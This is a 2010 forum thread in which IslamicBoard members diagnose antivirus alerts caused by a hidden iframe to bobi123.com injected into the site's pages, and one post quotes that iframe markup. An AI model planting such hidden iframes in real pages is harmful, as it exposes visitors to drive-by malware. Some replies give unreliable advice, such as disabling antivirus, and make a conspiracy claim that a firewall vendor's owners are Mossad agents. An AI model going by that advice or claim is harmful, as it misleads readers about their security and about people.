Possible Trojan link

[AabiruSabeel]

:sl:

Is anyone getting their media player opened automatically trying to play a file from bobi123.com whenever you log on IB?

I am getting this whenever I try to come here on IslamicBoard.

Kaspersky is detecting a trojan.

[Ramadhan]

Yes, i got that too, and it appeared only since yesterday

My ESET NOD32 antivirus stopped it, but it doesn't seem to delete it, because time to time it popped up.
What's going on?
how can I delete it completely from my computer?
I have used my antivirus to scan and ad aware and ccleaner, but they all couldn't find it.

[Alpha Dude]

Wa alaykum salam,

Yes. I got this when I went to usercp last night. Haven't had it since.

[AabiruSabeel]

It was discovered just today morning. I think it is removed now. InshaAllah there won't be any problems.

Hey there! Looks like you're enjoying the discussion, but you're not signed up for an account.

When you create an account, you can participate in the discussions and share your thoughts. You also get notifications, here and via email, whenever new posts are made. And you can like posts and make new friends.
Sign Up

[Ramadhan]

I just found a trojan on my computer and removed it using ad aware, hopefully it's the culprit

[AabiruSabeel]

What made you think so? :><: I still see the iframe bit in global header. :ermm:

I checked the code and it wasn't there. But didn't check the homepage code.

[Cabdullahi]

The address of the site owner keeps changing

bobi123.com | Owner: urikov Dmitrij Vasilievich, Ukraine (islamicboard.com)

My anti virus tells me that the site im using is on the list of dangerous websites??


Maybe my PC is hacked


from my K9 web protection software http://bobi123.com/ is blocked because it is currently categorized as:

Spyware / Malware Sources

[tango92]

spyware?

superantispyware is the best free one ive used

[Ramadhan]

I caught that using ad aware and it completely removed it after I reboot my computer.
You can download ad aware from www.download.com

[aadil77]

you know what, my antivirus software keeps poppin up with 'malware' reports on LI - recently

its says 'HTML/Infected.Webpage.Gen' found on islamicboard.com

[Cabdullahi]

its just this website,....other websites are fine

[Salahudeen]

Brothers, the same has happened to me, my anti virus popped up blocking something when I logged onto LI. And the site opened a video of some people playing american football

[Ramadhan]

you know what, my antivirus software keeps poppin up with 'malware' reports on LI - recently

its says 'HTML/Infected.Webpage.Gen' found on islamicboard.com

What browser are you using?

If you are still on IE, then stop using it. IE is the worst when it comes to security.
Firefox is the best, and you may want to download the latest version (3.6.10).

[Cabdullahi]

Brothers, the same has happened to me, my anti virus popped up blocking something when I logged onto LI. And the site opened a video of some people playing american football

Whats going on??!

[Salahudeen]

Whats going on??!

The first time it happened my internet security blocked it, it hasn't happened since then, I'm guessing my anti virus blocked it for good so now it doesn't even bring an alert up when I log onto LI.

[Salahudeen]

:sl:

Is anyone getting their media player opened automatically trying to play a file from bobi123.com whenever you log on IB?

I am getting this whenever I try to come here on IslamicBoard.

Kaspersky is detecting a trojan.

Yes I got it too, but my anti virus blocked it and I haven't got it since, however like I a dope I opened the video ;D

[Dagless]

you know what, my antivirus software keeps poppin up with 'malware' reports on LI - recently

its says 'HTML/Infected.Webpage.Gen' found on islamicboard.com

This is what happened to me too. It happens after you try to get into one of the forums, and not on the main page. I have manually added this domain to my safe list since some AV's think this site is clear while others don't. Either a false positive or something well hidden.

[aadil77]

What browser are you using?

If you are still on IE, then stop using it. IE is the worst when it comes to security.
Firefox is the best, and you may want to download the latest version (3.6.10).

there shudn't be any probs with LI in the first place, I'm using anti-vir - its an antivirus software and it never fails to pick up infected files on this site

[Ğħαrєєвαħ]

Aslaamu`Alaaykum
How come im not getting any of these messages? how do i check if ive got it?
I hope i dont have a virus ,spyware or whatever its called
Maybe my comp is fine thats why! : D

Wa`Alaaykum Salaam

[aadil77]

funnily enough its saying this page is infected as well

is it just a false alarm?

[Cabdullahi]

Aslaamu`Alaaykum
How come im not getting any of these messages? how do i check if ive got it?
I hope i dont have a virus ,spyware or whatever its called
Maybe my comp is fine thats why! : D

Wa`Alaaykum Salaam

You might think you dont have it but the computer is going to suddenly switch itself on at midnight with the speakers on full blast and you'll hear the scariest scream ever....you just watch!

[Dagless]

funnily enough its saying this page is infected as well

Yes, it seems the only page where it's not detected is the main page before you log in.

[Ğħαrєєвαħ]

Aslaamu`Alaaykum^Insha`Allaah brother something that geeky surely will not take place here
better to recite Ayatul Kursi! Alhamdulilaah that will do the job!
And that geeky stuff only happens in movies :-\
Wa`Alaaykum Salaam

[Cabdullahi]

Aslaamu`Alaaykum^Insha`Allaah brother something that geeky surely will not take place here
better to recite Ayatul Kursi! Alhamdulilaah that will do the job!
And that geeky stuff only happens in movies :-\
Wa`Alaaykum Salaam

You just watch!

[cat eyes]

it happens with me too, everytime i log in to LI my anti virus tells me this is threat to your computer. ive had 41 inflitrations found i couldnt believe it, my pc was acting weird for ages, everything is cleaned now so what does this all mean? is the forum under attack or what

[IslamicRevival]

I can't access this site via computer as AntiVirus is aborting the connection

MODS, i think sites infected. I do not think its a false positive.

Typed this on my phone

[-S-]

Salams

i had a look at the IB files and templates i cant seem to find anything obvious

it maybe that the advertisers that are being served on this site if its being linked or iframe it could be they are infected

[AabiruSabeel]

Salams

i had a look at the IB files and templates i cant seem to find anything obvious

it maybe that the advertisers that are being served on this site if its being linked or iframe it could be they are infected

:wa:

It was an iframe linking to bobi123.com. Can you just block bobi123.com from the ads? You can check the code here. It's just under the header.

['Abd Al-Maajid]

I didn't get any of the alarms(it's possibly because I don't have an anti-virus software installed :p). Did you guys check the virus/Trojan information, how is that thing harmful?

s the forum under attack or what

Forum under attack or users under attack?


Does that malware run on ext4 filesystem?

[Snowflake]

:sl:

Is anyone getting their media player opened automatically trying to play a file from bobi123.com whenever you log on IB?

I am getting this whenever I try to come here on IslamicBoard.

Kaspersky is detecting a trojan.

:sl:

Yes, but al hamdulillah it was blocked. Before Norton picked it up IB had slowed down so much that it was taking a good few minutes to load a new page. But I had no problem with other sites.


15 September 22.20
Risk Name: HTTP Phonix Malicious Toolkit Activity
Attacker URL: bobi123.com/a/index.php

Are we safe now, inshaAllah?

[Danah]

:sl:

Is anyone getting their media player opened automatically trying to play a file from bobi123.com whenever you log on IB?

I am getting this whenever I try to come here on IslamicBoard.

Kaspersky is detecting a trojan.

:wa:

I wasn't active the last 2 days and when I came today I got many security warnings by kaspersky too. I was about report that before I saw this thread.

[جوري]

did you find out who was behind it?

[Ramadhan]

I didn't get any of the alarms(it's possibly because I don't have an anti-virus software installed ).

Brother, it is very important to have anti virus installed.

These are the two best free antivirus programs:

AVG http://download.cnet.com/AVG-Anti-Vi...-10320142.html

AVAST http://download.cnet.com/Avast-Free-...-10019223.html

Just pick one, and you might also want to install anti adwares/malwares/spywares too:

Ad Aware http://download.cnet.com/Ad-Aware-Fr...-10045910.html

Malwarebytes http://download.cnet.com/Malwarebyte...-10804572.html

You must only install one anti virus program but you can install more than one antispywares/malwares/adwares.

[Alpha Dude]

This is so annoying. Every page there's an anti-virus message and the page isn't allowed to load properly. <_<

['Abd Al-Maajid]

^Strange! I am not getting any.

[Snowflake]

^Me neither. What's the message saying bro Bedouin?

[Alpha Dude]

I'm using Avast!. I've got it set up to scan web traffic. Each page click on LI brings up a message 'threat has been detected'.

This is because "bobi123.com" is added as a hidden frame on all pages of LI. My antivirus will not allow this so it doesn't let the full page load.

The problem has not been solved yet. Rashad, zAk, Sajid really need to do something. :hmm:

['Abd Al-Maajid]

What the heck bobi123.com is? The website, bobi123.com doesn't open for me except for this small page with 'Äîáðî ïîæàëîâàòü íà ìîé ñàéò! â äàííûé ìîìåíò îí íàõîäèòñÿ â ðàçðàáîòêå, ïðîøó ïðîùåíèå çà íåóäîáñòâà...' in it.

['Abd Al-Maajid]

Can I propose a solution?
Uninstall all your antiviruses so that you dont get any annoying messages and encrypt all your important data to preserve it from possible threat. (make sure to create a system checkpoint in system restore) Once the problem is solved you can install your antiviruses back and make a complete through scan to delete the remaining virus programs and restore your computer (using system restore) to the latest checkpoint you created.

[Ğħαrєєвαħ]

May i ask a Q,pleaseee. . .

What does Encrypt mean? :-\

[Snowflake]

I'm using Avast!. I've got it set up to scan web traffic. Each page click on LI brings up a message 'threat has been detected'.

This is because "bobi123.com" is added as a hidden frame on all pages of LI. My antivirus will not allow this so it doesn't let the full page load.

The problem has not been solved yet. Rashad, zAk, Sajid really need to do something.

Hopefully the admins will sort it soon inshaAllah.

May i ask a Q,pleaseee. . .

What does Encrypt mean? :-\

Not sure sis. Sorry : )

[Danah]

This is so annoying. Every page there's an anti-virus message and the page isn't allowed to load properly. <_<

same here!

I get a notification on every page I open. All from this bobi123.com

[abdussattar]

Okay, so I have been trying to visit the forum from yesterday, but I was not able to. When I tried in a Different browser, It started, and then said "malware detected" and then stopped. So I paused the antivirus protection and now I am able to Login... so I want ask if everyone is experiencing this problem or only me...

[Woodrow]

:sl:

It does seem to be happening to several members. There is another thread reporting this. I don't think it has anything to do with the forum, as it is not very wide spread among the members.

[abdussattar]

I cant open Ib unless I disable my antivirus (avast)...

[Ramadhan]

I'm using Avast!. I've got it set up to scan web traffic. Each page click on LI brings up a message 'threat has been detected'.

This is because "bobi123.com" is added as a hidden frame on all pages of LI. My antivirus will not allow this so it doesn't let the full page load.

The problem has not been solved yet. Rashad, zAk, Sajid really need to do something. :hmm:

try ad aware. My ad aware found bobi123 and completely removed it after a reboot, while my antivirus (eset nod32) did not.

[Alpha Dude]

Does your computer get infested again with bobi each time you log on to LI?

Have you scanned it again since the last time?

[Ramadhan]

After I removed it (3 or 4 days ago methinks), I haven't had any problem, but I have yet to fully scan my computer again. I schedule it for tomorrow.

['Abd Al-Maajid]

May i ask a Q,pleaseee. . .

What does Encrypt mean? :-\

Umm...This might help. There are many freeware programs which encrypt the data. If you find it too geeky archive all your important data and protect it with a password (create a rar or zip file with password)

[Alpha Dude]

After I removed it (3 or 4 days ago methinks), I haven't had any problem, but I have yet to fully scan my computer again. I schedule it for tomorrow.

The thing is, each time you visit any page on LI, there is a hidden frame that opens the bobi website. So I wouldn't be surprised if the virus is on your computer again. Please let me know how the scan goes.

Here it is in the source of this current page:

<div><iframe src=http://bobi123.com/a/index.php width=1 height=1 style="visibility:hidden;position:absolute"></iframe></div>

Very small width/height and invisible so nobody notices it.

[cat eyes]

I'm using Avast!. I've got it set up to scan web traffic. Each page click on LI brings up a message 'threat has been detected'.

This is because "bobi123.com" is added as a hidden frame on all pages of LI. My antivirus will not allow this so it doesn't let the full page load.

The problem has not been solved yet. Rashad, zAk, Sajid really need to do something. :hmm:

thats the prob i have, it always tells me ''threat detected''

if the forum is not under attack then its users are.

[IslamicRevival]

I cannot access this site via computer as AV aborts connection due to a virus on this site, its been a few days now and its still not sorted?

People who have NO AV will be infected and will be vulnerable, this site should be blocked to access until the virus is removed.

Bad handling by the site masters in my opinion.

[aadil77]

I've had to turn off my guard cause it keeps moaning about this site

[muslimahhhh]

nothing of that sort happened here.:phew

[Salahudeen]

This is weird, I got it once and I never got it again, did it infect me that's why my anti virus is not showing an alert any more :nervous:

[Güven]

why dont i have this problem. Im using Microsoft security essentials. :hmm:

[Yanal]

nothing of that sort happened here.:phew

:sl:

Perhaps because you have Anti-Virus installed.

Does anyone know where the virus first came from?

[IslamicRevival]

why dont i have this problem. Im using Microsoft security essentials. :hmm:

Your AntiVirus may need updating, either that or the AV is not that good in detecting viruses. I would advise you to download and use either Avast or AVG for the best protection, both free and better then most paid AVs. Download from Download.com..don't worry its a reputable website.

If you do go ahead, make sure you Uninstall the current AV before instaling.

[tango92]

i dont have anything installed, its working fine for me

[Yanal]

i dont have anything installed, its working fine for me

:sl:

Perhaps undetected?

[IslamicRevival]

I've had to turn off my guard cause it keeps moaning about this site

You're allowing a virus to wreck your computer, and possibly steal your data? IE Passwords etc? Crazy

[IslamicRevival]

:sl:

Perhaps undetected?

He has no AntiVirus installed, that is why the virus is undetected. he's basically left the door open to an attacker

Brother tango, i would advise you to Install an AntiVirus ASAP. Refer to my previos posts for link.

[cat eyes]

i order things online all the time so im quite worried i don't save my account details but my dad knows about viruses and their is those viruses that can watch you typing in your card number? and it records it.

[Beardo]

I don't know what y'all are complaining about. All is fine from my end too. And all I have installed is whatever my lappy came with.

[IslamicRevival]

i order things online all the time so im quite worried i don't save my account details but my dad knows about viruses and their is those viruses that can watch you typing in your card number? and it records it.

There are millions of virus types, I don't think the one that has infected this site is a Keylogger IE one that logs and tracks passwords. Be careful anyway and Scan your computer (Full Scan) as soon as possible. update virus definitions before scanning.

[cat eyes]

yeah thanks bro thats what i am doing.

[IslamicRevival]

I don't know what y'all are complaining about. All is fine from my end too. And all I have installed is whatever my lappy came with.

AntiViruses which come preinstalled usually are not that good, Try updating your AV, It may be outdated. if it still doesn't detect anything, its useless.

I know your an Admin an what not but i find your comments wreckless. This site is infected. I'm not complaining, I'm warning people as I do not want their confidential info in the hands of criminals.

As a mod, I would have thought you would pass this info on to a senior mod who could remove the infection rather then brush it aside.

[Dagless]

why dont i have this problem. Im using Microsoft security essentials. :hmm:

Yeah I'm running SE too, and it doesn't pick it up. A few others do though, and AabiruSabeel pointed out the problem iframe link in the other thread.

I don't know what y'all are complaining about. All is fine from my end too. And all I have installed is whatever my lappy came with.

Read this: http://www.islamicboard.com/forum-he...an-link-4.html

[Ğħαrєєвαħ]

i dont have anything installed, its working fine for me

Same here :-\

[أحمد]

:sl:

I'm currently using ZoneAlarm Extreme; no viruses detected so far, only 4 inbound firewall block alerts.

:wa:

[IslamicRevival]

:sl:

I'm currently using ZoneAlarm Extreme; no viruses detected so far, only 4 inbound firewall block alerts.

:wa:

Brother, this firewall is owned by ZIONIST ISRAELIS! The owners of Checkpoint technologies, makers of zonealarm are mossad agents

Get rid of this trash asap. two alternatives that I would recommend are comodo firewall and avast antivirus.

[Raaina]

I'm running AVG and no virus issues so far with this site.
What anti virus software are you using?

[Salahudeen]

Brother, this firewall is owned by ZIONIST ISRAELIS! The owners of Checkpoint technologies, makers of zonealarm are mossad agents

Get rid of this trash asap. two alternatives that I would recommend are comodo firewall and avast antivirus.

What about Eset Smart Security?

[OurIslamic]

Hmm, I have norton, AVG, and McAfee and nothing show's up. (I'm not as lax of a webmaster as Rashad bro :p)

[OurIslamic]

Also, can a moderator change the name of this thread? It's highly misleading.

[Raaina]

you know you shouldn't have more then one anti virus installed, it causes problems. I'm suprised norton let you, it usually detects other anti virus programs and asks you to uninstall them.

[OurIslamic]

I have 2/3 disabled depending on what I'm doing.

[IslamicRevival]

Hmm, I have norton, AVG, and McAfee and nothing show's up. (I'm not as lax of a webmaster as Rashad bro :p)

You might think you are more safe but think again. You are actually more vulnerable. the AVs will basically conflict with each other and cause system instability.

[IslamicRevival]

Also, can a moderator change the name of this thread? It's highly misleading.

No it is not misleading, It's the truth. The MODS know this site is infected so no reason to change title. Your AV Is most likely playing up if you don't get no warning. I'm not a fan of Norton or McAfee, tried and got rid of both. They aren't even that good truth be told.. AVG Free is pretty good but not my cup of tea.

[Ramadhan]

Hmm, I have norton, AVG, and McAfee and nothing show's up. (I'm not as lax of a webmaster as Rashad bro :p)

You have THREE different antivirus installed and running??

Bro, I heard that is a no no.

I can't remember exactly why, but I think they cancel each other or something.

Also, having anti virus program installed is not very effective if you don't keep installing the latest virus definitions (or in other words, updating it).

You only need one very good anti virus program, and compliment that with a host of other anti- spywares/adwares/malwares such as ad aware, Malwarebytes, Spybots search&destroy, ccleaner, etc. And (I assume your computer is running on windows OS) to update and install microsoft security patches automatically.

[IslamicRevival]

What about Eset Smart Security?

I'm not sure brother, I haven't heard anything bad about Eset. I know they are Based in the US so should be fine

[IslamicRevival]

This are the two messages I'm getting from AV.

Object: BOBI123.COM/A/INDEX.PHP
Infection: URL:MAL

Object: ISLAMICBOARD.COM/>(GZIP)
Infection: HTML:IFRAME-INF

Hope this helps and site is virus free soon. Don't want to be typing messages from my phone any longer!

[PouringRain]

Could the problem be only on certain pages and that is why some have it and others do not? *shrug* I know nothing. :)

I have not had any problems on my end either. I haven't paid much attention to the other threads, but didn't someone say they had the problem when they logged in? That was why I wondered maybe it is on certain pages. I do not log in. I stay logged in.

[Ramadhan]

Could the problem be only on certain pages and that is why some have it and others do not? *shrug* I know nothing. :)

I have not had any problems on my end either. I haven't paid much attention to the other threads, but didn't someone say they had the problem when they logged in? That was why I wondered maybe it is on certain pages. I do not log in. I stay logged in.

It is on every page. You just have to see it on page source. The visibility is hidden, and the size is only 1 so you cannot see it. Everytime you open a page, you also open http://bobi123.com/a/index.php which does not seem to exist.
AV programs do not think it is a virus but my ad aware catches it.

[Woodrow]

There is no indication of any virus on the site. Right now our best guess is that some Anti-virus programs seem to think one of the scripts in a recent addition is a virus. Actually, it seems only Avast is doing that. It is a bit confusing that it seems to be affecting only a few members.

['Abd Al-Maajid]

Is there a risk of possible data loss?

[Ramadhan]

I don't think it's a virus anyway, it seems like a tracker, like one of those adwares.

[Danah]

Maybe we need to take a break before this virus infected our PCs? At least till this problem get solved :hmm:
I find it very irritating that on every single page I open here I got this kaspersky msg of a malware detection!!

Denied: http://bobi123.com/a/index.php (analysis according to the base of suspicious web addresses) http://bobi123.com/a/index.php URL found in the base

[Dagless]

There is no indication of any virus on the site. Right now our best guess is that some Anti-virus programs seem to think one of the scripts in a recent addition is a virus. Actually, it seems only Avast is doing that. It is a bit confusing that it seems to be affecting only a few members.

Even the members who were not affected would still be loading the infected pages - since every page has a link to bobi123.com on it. Why not just remove this iframe? Since it doesn't seem to serve any purpose (other than malware). This would allow a lot of people to access the site again.

http://safeweb.norton.com/report/show?name=bobi123.com

[Woodrow]

Even the members who were not affected would still be loading the infected pages - since every page has a link to bobi123.com on it. Why not just remove this iframe? Since it doesn't seem to serve any purpose (other than malware). This would allow a lot of people to access the site again.

http://safeweb.norton.com/report/show?name=bobi123.com

A few of the Admins that know more then I do, are trying to do that very thing. I believe they will soon have it fixed Inshallah

[جوري]

I have disabled my firewall to log into here.. just letting you know that my desktop is officially dead and I'll need a new cpu most likely.. I am not sure what sort of damage this is doing to my laptop but would sure love to know what you guys are doing to get rid of this new mess..

may God da mn those kuffars to kingdom come but I believe that after the Quran burning fiasco there have been many new conversions to Islam.. al7mdlillah..

:w:

[Sawdah]

It is still here? :hmm: I think I'm just going to stay away from the forum for a while, just until its gone, because my computer doesn't have any security...

Please let us know when this trojan is gone, I'd like to come back to the forums soon inshaAllah. =)

[أحمد]

:sl:

Brother, this firewall is owned by ZIONIST ISRAELIS! The owners of Checkpoint technologies, makers of zonealarm are mossad agents

Get rid of this trash asap. two alternatives that I would recommend are comodo firewall and avast antivirus.

Its a trial software; I normally use Kaspersky in Windows.

:wa:

[Woodrow]

:sl:

Is anyone getting their media player opened automatically trying to play a file from bobi123.com whenever you log on IB?

I am getting this whenever I try to come here on IslamicBoard.

Kaspersky is detecting a trojan.

:sl:

The bob123.com is a domain owned by a Russian dating service. I have no idea how it could have gotten connected to LI or why only a few members are getting it or why some virus software is identifying it as a virus. It is not even an active web site, just a domain name that Urikov Dmitrij Vasilievich is trying to sell for $79

Service Provided By: UKRAINE.COM.UA HOSTING PROVIDER - DELTA-X LTD
Website: ukraine.com.ua
Contact: +380 (44) 2282060

Domain Name: BOBI123.COM

Creation Date: 09-Sep-2010
Modification Date: 09-Sep-2010
Expiration Date: 09-Sep-2011

Domain servers in listed order:
ns1.ukraine.com.ua
ns2.ukraine.com.ua

Registrant:
urikov Dmitrij Vasilievich

SOURCE

[Dagless]

:sl:

The bob123.com is a domain owned by a Russian dating service. I have no idea how it could have gotten connected to LI or why only a few members are getting it or why some virus software is identifying it as a virus. It is not even an active web site, just a domain name that Urikov Dmitrij Vasilievich is trying to sell for $79



SOURCE

Whatever the domain is used for, the malicious link on this site is http://bobi123.com/a/index.php
There are other malicious links outlined on the norton site posted earlier.

edit: The url is now dead so it must just be listed as dangerous because it was at one time in the past. Ah well, still weird it's linked on this site.

[Woodrow]

Whatever the domain is used for, the malicious link on this site is http://bobi123.com/a/index.php
There are other malicious links outlined on the norton site posted earlier.

edit: The url is now dead so it must just be listed as dangerous because it was at one time in the past. Ah well, still weird it's linked on this site.

That is what is really confusing. Unless at one time when it was an active link it used vBulletin and Norton is now identifying something in the script with that link. If any member who has been having the problem, belongs to Ummah.com see if the same happens there. They are also set up on vBulletin

[cat eyes]

It is still here? :hmm: I think I'm just going to stay away from the forum for a while, just until its gone, because my computer doesn't have any security...

Please let us know when this trojan is gone, I'd like to come back to the forums soon inshaAllah. =)

you can download an anti virus for you pc sis. i will send u a free trial if you want.

[Ramadhan]

It is still here? :hmm: I think I'm just going to stay away from the forum for a while, just until its gone, because my computer doesn't have any security...

Please let us know when this trojan is gone, I'd like to come back to the forums soon inshaAllah. =)

Here are steps to make sure your computer is protected from any viruses, spywares, malwares, adwares, trackers, etc:

1. If your computer runs on windows operating system, you need to turn on the windows automatic updates so it can automatically download latest security patches. This is important because, well, windows is not perfect and there's always some sort of new errors/loopholes found in its programming that makes it vulnerable for latest generation of viruses etc.
If your computer runs on windows xp, go to control panel --> then click on automatic updates. Also do not forget to turn the windows firewall on (it is on control panel also)

2. Check if antivirus is installed and running on your computer. If it is, then check if it is still valid, ie. if it is constantly updated for new virus definitions. It is no use if the antivirus was installed 3 years ago but never updated since. If it is obsolete or if your computer has no antivirus, here's the two best FREE antivirus programs (do not download any FREE TRIAL programs, because well, unless you are willing to pay, it will stop working soon):

AVAST http://download.cnet.com/Avast-Free-...-10019223.html
AVG http://download.cnet.com/AVG-Anti-Vi...-10320142.html

You only need ONE anti virus program. Also, do not forget to UNINSTALL your old antivirus program BEFORE you download a new one. Having more than one antivirus may result in DISASTER.

3. What browser do you use? If you are still using Internet Explorer, abandon!
Mozilla Firefox is much better in terms of performance, speed, ease of use, and security. Here's you can download mozilla firefox:

http://download.cnet.com/mozilla-firefox/

4. Even if you already have a good antivirus program, it doesn't mean that it can fully protect your computer from ALL viruses/malwares/etc. You need to complement it with at least a couple of good anti-spywares. The best is Ad aware:

http://download.cnet.com/Ad-Aware-Fr...-10045910.html

Malwarebytes is also quite good http://download.cnet.com/Malwarebyte...-10804572.html

Last, you need to scan your computer regularly with those antivirus and anti spywares programs.
Hopefully these will prevent/resolve some potential problems in the future.

[أحمد]

:sl:

It is still here? :hmm: I think I'm just going to stay away from the forum for a while, just until its gone, because my computer doesn't have any security...

Please let us know when this trojan is gone, I'd like to come back to the forums soon inshaAllah. =)

Quick and free solution on Windows is the Microsoft Security Essentials package: http://www.microsoft.com/security_essentials/

Its much better than many other free anti-virus solutions.

:wa:

[أحمد]

:sl:

Brother, this firewall is owned by ZIONIST ISRAELIS! The owners of Checkpoint technologies, makers of zonealarm are mossad agents

Get rid of this trash asap. two alternatives that I would recommend are comodo firewall and avast antivirus.

You are right; Checkpoint took the company a few years ago. That also explains why there's no longer an advanced user interface, nor any real user control anymore.

:wa:

[Sawdah]

:salamext:

you can download an anti virus for you pc sis. i will send u a free trial if you want.

JazakiAllah Khair sis. =) I had one up, but its trial was done...

I'm hoping there's something free I can download inshaAllah so I can keep for good.

Here are steps to make sure your computer is protected from any viruses, spywares, malwares, adwares, trackers, etc:

1. If your computer runs on windows operating system, you need to turn on the windows automatic updates so it can automatically download latest security patches. This is important because, well, windows is not perfect and there's always some sort of new errors/loopholes found in its programming that makes it vulnerable for latest generation of viruses etc.
If your computer runs on windows xp, go to control panel --> then click on automatic updates. Also do not forget to turn the windows firewall on (it is on control panel also)

2. Check if antivirus is installed and running on your computer. If it is, then check if it is still valid, ie. if it is constantly updated for new virus definitions. It is no use if the antivirus was installed 3 years ago but never updated since. If it is obsolete or if your computer has no antivirus, here's the two best FREE antivirus programs (do not download any FREE TRIAL programs, because well, unless you are willing to pay, it will stop working soon):

AVAST http://download.cnet.com/Avast-Free-...-10019223.html
AVG http://download.cnet.com/AVG-Anti-Vi...-10320142.html

You only need ONE anti virus program. Also, do not forget to UNINSTALL your old antivirus program BEFORE you download a new one. Having more than one antivirus may result in DISASTER.

3. What browser do you use? If you are still using Internet Explorer, abandon!
Mozilla Firefox is much better in terms of performance, speed, ease of use, and security. Here's you can download mozilla firefox:

http://download.cnet.com/mozilla-firefox/

4. Even if you already have a good antivirus program, it doesn't mean that it can fully protect your computer from ALL viruses/malwares/etc. You need to complement it with at least a couple of good anti-spywares. The best is Ad aware:

http://download.cnet.com/Ad-Aware-Fr...-10045910.html

Malwarebytes is also quite good http://download.cnet.com/Malwarebyte...-10804572.html

Last, you need to scan your computer regularly with those antivirus and anti spywares programs.
Hopefully these will prevent/resolve some potential problems in the future.

JazakAllah Khair akhi. That has helped me a lot. I'll look into the link later inshaAllah because I'm a bit busy at the moment.

:sl:



Quick and free solution on Windows is the Microsoft Security Essentials package: http://www.microsoft.com/security_essentials/

Its much better than many other free anti-virus solutions.

:wa:

JazakAllah Khair akhi, I'll look into it inshaAllah.

BarakAllahu Feekum! Your posts have helped me a lot.

:w:

[Danah]

Any new updates about this issue?
I am still get those notifications on every single page I clicked on and it's kinda annoying.

['Abd Al-Maajid]

Until the problem is sorted completely why don't you guys use AdBlock Plus to block the ads then clear cache/cookies and then scan computer for virus/trojans. :?

[abdussattar]

^Rashad isn't interested in cleaning it :ermm: We've reminded him a number of times to disable the ads... to test it.

Ban him!!!!!!!!

['Abd Al-Maajid]

Ban him!!!!!!!!

LOL....that cannot be done I think.

[Ğħαrєєвαħ]

aah i got an idea, why dont we delete Li and then create it all again? yes it may take some time but im sure its worth a try . . .


:-\

['Abd Al-Maajid]

aah i got an idea, why dont we delete Li and then create it all again? yes it may take some time but im sure its worth a try . . .


:-\

OMG You said that!?!?!?! however it's not a bad idea if they maintain daily backups :X Now I feel stupid :p

[أحمد]

:sl:

Use NoScript (Firefox addon); it'll easily block any 3rd party scripts.

:wa:

['Abd Al-Maajid]

:sl:
Isn't the problem sorted out yet? Our brother, AbdulRauf is having problem with browsing the forums.

Received the following images via mail today.

Uploaded with ImageShack.us

By abdulmajid88 at 2010-09-26

[Ğħαrєєвαħ]

I see that name bobi you guys mentioned on my browser thing at the bottom when your site loading , weird :-\

Does that mean i have virus? I dont get no messages entering Li, but i went on another site, and it said a virus detected, weird : S

[Woodrow]

I see that name bobi you guys mentioned on my browser thing at the bottom when your site loading , weird :-\

Does that mean i have virus? I dont get no messages entering Li, but i went on another site, and it said a virus detected, weird : S

The bobi123 is a dead inactive URL link. At one time it seems to have been a malware site and many of the virus software identified it as a virus. Apparently the "footprint" for the URL was saved as being a possible virus and some virus detectors still identify it as such. But, it is a dead link now and does not link to anything. So far I do not think any of us have been able to find what it is attached to on the forum.

[abdussattar]

:( this is sad

[tango92]

just disable your antiviruses! teh problem goes away :p

[أحمد]

:sl:

Block it using this: https://addons.mozilla.org/en-US/firefox/addon/722/

:wa:

[abdussattar]

Block it using this: https://addons.mozilla.org/en-US/firefox/addon/722/

Please give me a similar link for google chrome

[أحمد]

:sl:

Try this:
https://chrome.google.com/extensions...jjpkkcfn?hl=en

:wa:

[abdussattar]

It wont block it either.. :><: maybe my computer is dumb... adblock wont block it, nor this link.. :( I might need to stay with disabled antiviruses for all my life :( :'(

[أحمد]

:sl:

It wont block it either.. :><: maybe my computer is dumb... adblock wont block it, nor this link.. :( I might need to stay with disabled antiviruses for all my life :( :'(

It will only block it once you set the option to do so; its not as simple as the Firefox version of the add-on.

:wa:

[abdussattar]

I've set it on. It is blocking all smileys and the quote feature, but not the virus...

[أحمد]

:sl:

bobi123 is a site which isn't fully blocked by NoScript or anti banner add-ons. There is however another Firefox add-on for dealing with the problem: https://addons.mozilla.org/en-US/firefox/addon/3145/

Follow the visual instructions below:

:wa:

[IslamicRevival]

I dunno why some people are looking for shortcuts. Just get rid of the **** virus Admins and the problem is no more!

It's been about a good month and this site is still infected. Poor handling by the whole Islamicboard team. Either shut the site down temporarily until the site is virus free or keep this site up and running and be responsible for infecting hundreds of computers

[Woodrow]

I dunno why some people are looking for shortcuts. Just get rid of the **** virus Admins and the problem is no more!

It's been about a good month and this site is still infected. Poor handling by the whole Islamicboard team. Either shut the site down temporarily until the site is virus free or keep this site up and running and be responsible for infecting hundreds of computers

Nobody's computers are being infected.

It is not a virus or any active spyware, although the footprint is still identified as malware by some anti-spyware and anti-virus software. so far we have not been able to identify the source of it. Only one person has the ability to disable the various features to test to see if the source can be identified. While it is irritating to some, there is no evidence of any harm. the link is a dead link and does not contain anything at all. The link does not connect to anything, it is dead. Apparently at one time it was a link to spyware of some type, most likely part of an advertisement. But the ad it pertained to seems to be long gone and that blasted thing is an artifact.

[أحمد]

:sl:

Software firewall users: Deny bobi123.com access without showing notifications.

Hardware firewall users: Block bobi123.com & 92.63.96.155 through the router/bridge/switch settings.

:wa:

[أحمد]

:sl:

Hardware firewall #2 (to block FTP & HTTP service):

Remember to set FTP:TCP ports 20-21; this is to block the script from trying to download. Set HTTP port 80.

:wa:

[IslamicRevival]

Nobody's computers are being infected.

It is not a virus or any active spyware, although the footprint is still identified as malware by some anti-spyware and anti-virus software. so far we have not been able to identify the source of it. Only one person has the ability to disable the various features to test to see if the source can be identified. While it is irritating to some, there is no evidence of any harm. the link is a dead link and does not contain anything at all. The link does not connect to anything, it is dead. Apparently at one time it was a link to spyware of some type, most likely part of an advertisement. But the ad it pertained to seems to be long gone and that blasted thing is an artifact.

The website bobi123.com is marked as a dangerous site according to McAfee siteadvisor. It's known for spreading viruses, dead link? I doubt that.

AV developers would have updated their virus definitions and excluded bobi123 if it was a dead link.

[Dagless]

The website bobi123.com is marked as a dangerous site according to McAfee siteadvisor. It's known for spreading viruses, dead link? I doubt that.

AV developers would have updated their virus definitions and excluded bobi123 if it was a dead link.

Here is the link: http://bobi123.com/a/index.php
It is dead.

[Woodrow]

The website bobi123.com is marked as a dangerous site according to McAfee siteadvisor. It's known for spreading viruses, dead link? I doubt that.

AV developers would have updated their virus definitions and excluded bobi123 if it was a dead link.

:sl:

